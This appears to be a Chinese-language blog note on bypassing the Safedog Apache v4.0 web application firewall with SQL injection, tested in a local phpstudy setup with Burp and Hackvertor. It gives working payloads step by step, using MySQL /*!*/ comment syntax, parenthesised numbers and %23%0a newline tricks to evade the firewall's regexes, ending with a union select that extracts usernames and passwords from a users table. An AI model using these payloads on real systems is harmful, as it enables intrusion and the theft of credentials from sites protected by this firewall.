最近没事学习一下 wafbypass , 本文介绍下 bypass 安全狗的笔记。个人感觉 bypass 的总思路(正则匹配型 waf)就是利用各种语法特性来逃避正则(当然要保证语法正确性的前提下)

测试环境:

phpstudy  + 安全狗Apache版 V4.0、
burp + hackvertor 插件

判断注入

判断字符型注入还是数字型

往数字后面加若干个字母,如果结果不变应该是字符型注入,因为 mysql 的弱类型会把 1xxxx 转换成 1

最新安全狗 apache v4.0 sql注入 bypass

引入逻辑表达式进行判断

利用 Mysql 支持的 /*!*/ 语法引入 && 绕过过滤

1'/*!&&*/1#'

最新安全狗 apache v4.0 sql注入 bypass

order by 获取列数

还是利用 /*!*/ 语法来引入关键字, 然后利用 () 包裹数字绕过空格进而绕过正则。

1'/*!&&*/0/*!order*/by(2)#'

最新安全狗 apache v4.0 sql注入 bypass

所以有 2 列。

绕过 union

%23%0a 绕过正则, 原因大概是 # 是注释符号(只注释一行 \n 截止), waf 认为后面的都是注释不去匹配,而 mysql 支持使用 \n 代替空格,所以绕过了正则。

<@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/1,@@HOSTNAME#'<@/urlencode_2>

最新安全狗 apache v4.0 sql注入 bypass

拿密码

使用 %23%0a ,绕过正则

<@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/user,password <@/urlencode_2>from%23%0a<@urlencode_3>users where user_id=1<@/urlencode_3>%23%27

最新安全狗 apache v4.0 sql注入 bypass

相关文章:

  • 2021-11-22
  • 2021-05-29
  • 2021-11-26
  • 2021-08-01
  • 2022-02-07
  • 2021-06-10
  • 2021-11-01
猜你喜欢
  • 2021-10-27
  • 2021-10-16
  • 2021-07-14
  • 2021-10-09
  • 2021-08-15
  • 2021-06-28
  • 2022-12-23
相关资源
相似解决方案